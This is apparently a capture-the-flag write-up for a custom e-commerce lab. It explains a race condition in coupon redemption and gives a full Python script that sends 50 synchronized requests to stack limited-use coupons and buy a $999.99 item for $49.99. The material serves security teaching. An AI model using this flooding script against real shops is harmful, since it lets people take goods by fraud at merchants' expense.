Lab 175 — ShopNova — Race Condition in Coupon Redemption
Lab 175 — ShopNova — Race Condition in Coupon Redemption
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: cart_cleanup_before_exploit, concurrent_http_flooding, race_condition_exploitation, session_cookie_sharing, thread_event_synchronization, toctou_coupon_bypass
Summary
Walkthrough of the CUSTOM Web Lab 175 — ShopNova — Race Condition in Coupon Redemption. Task: E-commerce platform with $150 balance, $999.99 product, and limited-use coupon codes. Solution: TOCTOU race condition on coupon redemption endpoint — 50 concurrent threads apply the same coupon
Description
ShopNova is an e-commerce platform where digital creators sell software licenses, templates, and digital goods. The platform features a product catalog, shopping cart with promotional coupon support, and a checkout system. As a registered user, you can browse products, add items to your cart, apply promotional codes, and complete purchases. There is a premium product available — the "Lifetime Pro License" ($999.99) — that includes a special digital license key upon purchase. Your account has a $150.00 balance. The product costs $999.99. Can you find a way to purchase it at a price you can afford?
English summary: An Express.js e-commerce application with a $150 user balance and a $999.99 target product. Two promotional coupon codes are available with limited uses. The goal is to exploit a race condition in the coupon redemption endpoint to stack enough discounts to bring the price below the available balance, then checkout to retrieve the flag embedded as a digital license key.
Analysis
Application Reconnaissance
The application is an Express.js server behind nginx/1.25.5, using connect.sid session cookies. After logging in with the provided credentials (user@test.com / password123), the following was discovered:
- User balance: $150.00
- Target product: "Lifetime Pro License" (product_id=8, $999.99)
- Promotional coupons (found on
/promotionspage):LAUNCH25— $100.00 fixed discount (limited uses)WELCOME10— $10.00 fixed discount (limited uses)
Decoy Flag
Every page contained a honeypot flag in HTML comments and hidden divs:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}
This is a decoy designed to trap automated scanners. The real flag is only accessible after a successful purchase.
API Endpoints
| Method | Endpoint | Body | Description |
|---|---|---|---|
| POST | /api/cart/add | {"product_id": "8", "quantity": 1} | Add item to cart |
| POST | /api/cart/coupon | {"code": "LAUNCH25"} | Apply coupon code |
| POST | /api/cart/remove-coupon | {"coupon_id": "1"} | Remove applied coupon |
| POST | /api/cart/remove | {"item_id": "1"} | Remove item from cart |
| POST | /api/cart/update | {"item_id": "1", "quantity": 2} | Update item quantity |
| POST | /api/checkout | {"shipping_name":..., "card_last4":...} | Place order |
| |
Vulnerability: TOCTOU Race Condition
The coupon redemption endpoint POST /api/cart/coupon follows a non-atomic check-then-update pattern:
- Check: Server verifies if coupon has reached its usage limit
- Apply: Coupon discount is added to the cart
- Update: Usage counter is incremented
Between steps 1 and 3, there is a race window. Multiple concurrent requests can all pass the usage check before any of them increments the counter. Applying the coupon normally a second time returns:
json read-only • copy allowed{"success": false, "error": "This coupon has already been applied to your cart"}
But with concurrent requests, the check is bypassed.
Math
To afford the $999.99 product with a $150.00 balance, we need at least $850 in discounts. With LAUNCH25 ($100 each) and WELCOME10 ($10 each), we need to apply LAUNCH25 at least 9 times ($900) to get close, then supplement with WELCOME10 applications.
Solution
Step 1: Login and Prepare Cart
Clean the cart of any stale items and coupons, then add a single Lifetime Pro License:
python read-only • copy allowedsession = requests.Session() session.post(f"{BASE_URL}/login", data={ "email": "user@test.com", "password": "password123" }) # Parse cart page for existing items/coupons r = session.get(f"{BASE_URL}/cart") item_ids = re.findall(r'data-item-id="(\d+)"', r.text) coupon_ids = re.findall(r'data-coupon-id="(\d+)"', r.text) # Remove all coupons and items for cid in set(coupon_ids): session.post(f"{BASE_URL}/api/cart/remove-coupon", json={"coupon_id": cid}) for iid in set(item_ids): session.post(f"{BASE_URL}/api/cart/remove", json={"item_id": iid}) # Add single Lifetime Pro License session.post(f"{BASE_URL}/api/cart/add", json={"product_id": "8", "quantity": 1})
Step 2: Race Condition Attack
Use threading.Event to synchronize 50 threads so they all fire POST /api/cart/coupon at the exact same instant. Each thread uses its own requests.Session but shares the same connect.sid cookie:
python read-only • copy alloweddef race(code, n=50): results = [] lock = threading.Lock() event = threading.Event() ready_count = [0] ready_lock = threading.Lock() def worker(): s = requests.Session() s.cookies.update(cookies) with ready_lock: ready_count[0] += 1 event.wait() # Block until all threads are ready try: r = s.post(f"{BASE_URL}/api/cart/coupon", json={"code": code}, timeout=10) with lock: results.append(r.text) except: pass threads = [threading.Thread(target=worker) for _ in range(n)] for t in threads: t.start() # Wait for all threads to be ready while ready_count[0] < n: time.sleep(0.01) event.set() # GO! All threads fire simultaneously for t in threads: t.join(timeout=15) ok = sum(1 for r in results if '"success":true' in r) return ok
Results:
LAUNCH25: 9 coupons applied (9 × $100 = $900 discount)WELCOME10: 5 coupons applied (5 × $10 = $50 discount)- Total discount: $950
- Order total: $999.99 − $950.00 = $49.99
Step 3: Checkout
With the order total at $49.99 (well under the $150.00 balance), checkout succeeds:
python read-only • copy allowedr = session.post(f"{BASE_URL}/api/checkout", json={ "shipping_name": "Test", "shipping_address": "123 St", "shipping_city": "NY", "shipping_zip": "10001", "card_last4": "4242" }) # Response: {"success": true, "orderId": 5}
Step 4: Retrieve Flag
The flag was found on the order details page (/order/<orderId>) as the digital license key for the Lifetime Pro License:
License: FLAG{REDACTED}
Full Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 """ShopNova Race Condition Exploit — TOCTOU coupon bypass""" import requests import threading import re import time BASE_URL = "https://d96578e9-04ff-41b2-9a45-4121f7779012.labs.hackadvisor.io" # Step 1: Login session = requests.Session() session.post(f"{BASE_URL}/login", data={ "email": "user@test.com", "password": "password123" }) # Step 2: Clean cart r = session.get(f"{BASE_URL}/cart") item_ids = re.findall(r'data-item-id="(\d+)"', r.text) coupon_ids = re.findall(r'data-coupon-id="(\d+)"', r.text) for cid in set(coupon_ids): session.post(f"{BASE_URL}/api/cart/remove-coupon", json={"coupon_id": cid}) for iid in set(item_ids): session.post(f"{BASE_URL}/api/cart/remove", json={"item_id": iid}) # Step 3: Add target product session.post(f"{BASE_URL}/api/cart/add", json={"product_id": "8", "quantity": 1}) cookies = dict(session.cookies) # Step 4: Race condition function def race(code, n=50): results = [] lock = threading.Lock() event = threading.Event() ready_count = [0] ready_lock = threading.Lock() def worker(): s = requests.Session() s.cookies.update(cookies) with ready_lock: ready_count[0] += 1 event.wait() try: r = s.post(f"{BASE_URL}/api/cart/coupon", json={"code": code}, timeout=10) with lock: results.append(r.text) except: pass threads = [threading.Thread(target=worker) for _ in range(n)] for t in threads: t.start() while ready_count[0] < n: time.sleep(0.01) event.set() for t in threads: t.join(timeout=15) ok = sum(1 for r in results if '"success":true' in r) return ok # Step 5: Race both coupons n1 = race("LAUNCH25", 50) print(f"LAUNCH25: {n1} applied (${n1 * 100} discount)") n2 = race("WELCOME10", 50) print(f"WELCOME10: {n2} applied (${n2 * 10} discount)") total_discount = n1 * 100 + n2 * 10 expected = 999.99 - total_discount print(f"Total discount: ${total_discount}, Order total: ${expected:.2f}") # Step 6: Checkout r = session.post(f"{BASE_URL}/api/checkout", json={ "shipping_name": "Test", "shipping_address": "123 St", "shipping_city": "NY", "shipping_zip": "10001", "card_last4": "4242" }) print(f"Checkout: {r.status_code} {r.text[:500]}") # Step 7: Retrieve flag from order page if r.status_code == 200: data = r.json() order_id = data.get("orderId") r2 = session.get(f"{BASE_URL}/order/{order_id}") flags = re.findall(r'FLAG\{[^}]+\}', r2.text) real_flags = [f for f in flags if 'd3c0y' not in f] if real_flags: print(f"FLAG: {real_flags[0]}")
Key Takeaways / Lessons
- Mastering cart_cleanup_before_exploit, concurrent_http_flooding, race_condition_exploitation, session_cookie_sharing, thread_event_synchronization, toctou_coupon_bypass was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-21 • CUSTOM • Lab 175 — ShopNova — Race Condition in Coupon Redemption • Difficulty: Medium